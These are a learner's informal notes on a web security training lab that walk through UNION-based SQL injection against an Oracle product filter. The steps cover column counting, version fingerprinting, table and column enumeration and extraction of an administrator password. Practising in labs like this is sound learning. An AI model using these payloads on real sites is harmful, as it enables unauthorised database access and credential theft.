Note By Manual SQLI

Lab #10 SQL injection attack, listing the database contents on Oracle

1. vuln in the product category filter
2. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
3. ‘ this give us error
4. ‘ order by 3- - gives us error and ‘ order by 2- - gives us 200 ok so there are 2 columns
5. ' UNION SELECT banner,null FROM v$version— this makes us sure that this server use oracle sql

6. as it self is a vulnerability so to avoid duplicates we can use this for report
6. NOW we will use all the oracle sql commands

note:

Oracle	`SELECT * FROM all_tables` `SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`

8. we can search the other documentation
9. search by all_tables
10. ' UNION select table_name,null from all_tables—
11. table name got USERS_GQQAEV

12. search by all_tab_columns
13. 'UNION select column_name,null from all_tab_columns where table_name='USERS_GQQAEV'—
14. the USERNAME_HLQMFP
15. the PASSWORD_IRWFPO
16. ‘ UNION select USERNAME_HLQMFP,PASSWORD_IRWFPO from USERS_GQQAEV- -
17. administrator
18. fy2ujjgcuwy51tyolw9r

PAWEND